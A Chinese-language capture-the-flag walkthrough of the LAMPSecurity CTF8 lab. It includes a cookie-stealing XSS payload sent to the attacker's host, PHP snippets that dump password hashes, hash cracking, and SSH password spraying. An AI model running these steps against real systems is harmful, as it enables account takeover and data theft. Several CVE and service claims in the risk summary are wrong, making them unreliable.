LAMPSecurity: CTF8
來自 <https://www.vulnhub.com/entry/lampsecurity-ctf8,87/>
1,將兩臺虛擬機網絡連接都改為NAT模式
2,攻擊機上做namp局域網掃描發現靶機
nmap -sn 192.168.23.0/24
那么攻擊機IP為192.168.23.128,靶場IP192.168.23.141
3,對靶機進行端口服務探測
nmap -sV -T4 -p- -A 192.168.23.141
1. 文件傳輸服務:21/tcp(FTP)
- 服務版本:vsftpd 2.0.5(2007 年發布,超 15 年歷史的老舊版本)
- 關鍵配置:
- 允許匿名登錄(FTP 代碼 230,無需賬號密碼即可訪問)
- 存在公開目錄?pub(權限?drwxr-xr-x,所有人可讀可執行)
- 風險:匿名登錄可能導致敏感文件泄露;vsftpd 2.0.5 存在已知漏洞(如 CVE-2011-0762,雖非遠程代碼執行,但可能被用于信息收集或弱口令爆破)。
2. 遠程管理服務:22/tcp(SSH)
- 服務版本:OpenSSH 4.3(2006 年發布,極度老舊)
- 密鑰信息:
- DSA 密鑰(1024 位,已不符合現代安全標準,易被破解)
- RSA 密鑰(2048 位,雖長度合規,但依賴的 OpenSSH 版本存在高危漏洞)
- 風險:OpenSSH 4.3 存在多個遠程漏洞(如 CVE-2008-1483,遠程代碼執行;CVE-2016-10012,權限提升),攻擊者可直接利用漏洞獲取系統權限。
3. 郵件服務:25/tcp(SMTP)、110/tcp(POP3)、143/tcp(IMAP)、993/tcp(SSL/IMAP)、995/tcp(SSL/POP3)
- 核心組件:
- SMTP:Sendmail 2.0.0(配置簡單,無認證防護,易被用于發送垃圾郵件)
- POP3/IMAP:Dovecot imapd(SSL 證書已過期超 10 年:有效期 2013.05.29-2014.05.29)
- 關鍵風險:
- SSL 證書過期:加密通信無效,數據(如郵件密碼)可能被中間人劫持
- 支持SSLv2 協議(已被廢棄的不安全協議,存在 POODLE 等漏洞,易被破解加密)
- SMTP 無認證:可能成為 “垃圾郵件中繼站”,導致 IP 被黑名單封禁
4. Web 服務:80/tcp(HTTP)、443/tcp(HTTPS)
- 服務版本:Apache httpd 2.2.3(2006 年發布,存在大量未修復漏洞)
- 網站特征:
- 標題 “LAMPSecurity Research”,推測為LAMPSecurity 靶場環境(用于滲透測試學習,但若為生產環境則風險極高)
- 內容管理系統(CMS):Dovecot(通過 favicon 識別)
- 暴露Git 倉庫(路徑?/.git/),包含 “initial commit” 提交記錄
- robots.txt?禁止訪問 36 個路徑(如/includes/、/modules/),但 Git 倉庫暴露可能泄露源碼
- 風險:
- Apache 2.2.3 存在高危漏洞(如 CVE-2011-3192,遠程代碼執行;CVE-2007-6750,目錄遍歷)
- Git 倉庫泄露:攻擊者可下載完整源碼,分析代碼邏輯尋找 SQL 注入、文件上傳等漏洞
- HTTPS 證書過期(2013.05.29-2014.05.29),加密無效
5. 數據庫服務:3306/tcp(MySQL)
- 服務狀態:開放但 “未授權訪問”(掃描提示unauthorized)
- 風險:雖當前拒絕匿名訪問,但 MySQL 若使用弱口令(如root/123456),易被暴力破解;且老舊系統可能搭配低版本 MySQL(如 5.0.x),存在遠程代碼執行漏洞(如 CVE-2016-6662)。
6. 遠程桌面服務:5801-5804/tcp(VNC-HTTP)、5901-5904/tcp(VNC)、6001-6004/tcp(X11)
- 服務版本:RealVNC 4.0(2005 年發布,老舊版本)
- 關鍵配置:
- VNC 使用 “VNC Authentication” 認證(僅基于密碼,無二次驗證)
- X11 服務開放(Linux 圖形界面遠程訪問),但提示 “access denied”(當前拒絕訪問,風險較低)
- 風險:
- RealVNC 4.0 存在密碼破解漏洞(弱口令易被爆破,如默認密碼password)
- 同時開放 4 個 VNC 實例(5901-5904),擴大攻擊面,若其中一個密碼泄露則整機淪陷
7. 文件共享服務:139/tcp、445/tcp(Samba)
- 服務版本:Samba 3.0.33-3.7.el5(2007 年左右版本,適配 CentOS 5)
- 關鍵配置:
- 工作組:WORKGROUP(默認工作組,無自定義防護)
- 安全模式:message_signing: disabled(禁用消息簽名,易被中間人攻擊)
- SMB2 協議協商失敗,僅支持老舊的 SMB1 協議(存在永恒之藍等漏洞)
- 風險:Samba 3.0.x 存在高危漏洞(如 CVE-2007-2447,遠程代碼執行;CVE-2017-7494,文件上傳漏洞),攻擊者可利用漏洞獲取系統權限。
8. 其他服務:111/tcp(rpcbind)、869/tcp(status)
- rpcbind:負責 RPC 服務端口映射,無直接漏洞,但可能被用于探測內網其他 RPC 服務(如 NFS)
- status:RPC 狀態服務(端口 869),僅用于內部狀態查詢,風險較低
4,訪問80端口開設的http服務
存在一個登錄頁面,再掃描其子目錄看看
gobuster dir -u http://192.168.23.141/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,txt,php,zip -b 404,403,400
再掃描識別網站指紋特征
whatweb -v http://192.168.23.141
查看頁面源碼得到第一個flag
5,掃出來一些敏感目錄
dirsearch -u http://192.168.23.141 -x 404,403
http://192.168.23.141/phpinfo.php
得到第二個flag
view-source:http://192.168.23.141/tracker
得到第三個flag
http://192.168.23.141/robots.txt
第四個flag
http://192.168.23.141/profile 得到一堆用戶名,可作為賬號名字典
6,注意到存在git源碼泄露,可以使用工具進行利用
export https_proxy="http://192.168.99.89:7897"??
git clone https://github.com/lijiejie/GitHack.git
cd GitHack
python GitHack.py http://192.168.23.141/.git/
cat 192.168.23.141/sites/default/settings.php
由此知道數據庫用戶名及密碼:root/JumpUpAndDown,數據庫名:drupal
7,使用nikto掃描web漏洞信息
nikto -h 192.168.23.141
可能存在XSS漏洞,嘗試利用之
不存在抗點擊劫持的X-Frame-Options標頭。
X-XSS-Protection頭沒有定義。此header可以提示用戶代理防止某些形式的XSS
沒有設置X-Content-Type-Options標頭。這可以讓用戶代理以一種不同于MIME類型的方式呈現網站內容
8,先注冊一個賬戶
http://192.168.23.141/user/register
注冊成功。尋找推送帖子的Barbara,在其發布的帖子的評論框內插入xss?payload:
<script>alert(/xss/)</script>
證明存在XSS漏洞,那么就可以寫一個payload竊取cookie
<script>
var request=new XMLHttpRequest();
var redirect_url="http://192.168.23.128:8000/"+document.cookie;
request.open("GET",redirect_url);
request.send();
</script>
kali需要一直開啟一個http服務接收cookie
python -m http.server
回到http://192.168.182.128/tracker,點擊Barbara,點擊Contact
隨便找個理由讓她點進這個頁面:
http://192.168.23.141/content/lampsec-point-security-available#comment-4
先編輯好發送郵件。這里就會接收到barbara的cookie,在瀏覽器開發者模式進行替換就能變成barbara用戶
9,該用戶擁有對網站查看的權限,懷疑存在代碼執行漏洞,直接反彈shell失敗。但是可以在網頁執行PHP代碼實現脫庫
創建PHP頁面來獲取數據庫所有表名:
<?php
$result = db_query('select table_name from information_schema.tables');
while($test = mysqli_fetch_object($result)){
print_r($test->table_name."<br/>");
}
?>
回顯出各種數據表名
創建PHP頁面來獲取數據庫所有表名:
<?php
$result = db_query('show tables');
while($test = mysqli_fetch_array($result)){
print_r($test[0]."<br/>");
}
?>
回顯出drupal數據庫中的表名
創建PHP頁面來獲取users表中有哪些字段:
<?php
$result = db_query('select * from users');
while($test = mysqli_fetch_object($result)){
print_r($test);
}
?>
回顯出drupal數據庫中users表中的字段名。
創建PHP頁面來獲取users表中name和pass字段:
<?php
$result = db_query('select name,pass from users');
while($test = db_fetch_object($result))
{
print $test->name . ":" . $test->pass . "<br/>";
}
?>
數據回顯成功
10,用戶名密碼寫入字典,然后進行解密
john -w=/usr/share/wordlists/rockyou.txt -form=raw-md5 /root/user.txt
然后分別建立user.txt和passwd.txt進行密碼噴射以得到正確賬戶密碼
ncrack -p 22 -U user.txt -P passwd.txt 192.168.23.141
login: bdio?? password: passw0rd
login: spinkton?? password: football123
login: jharraway?? password: letmein!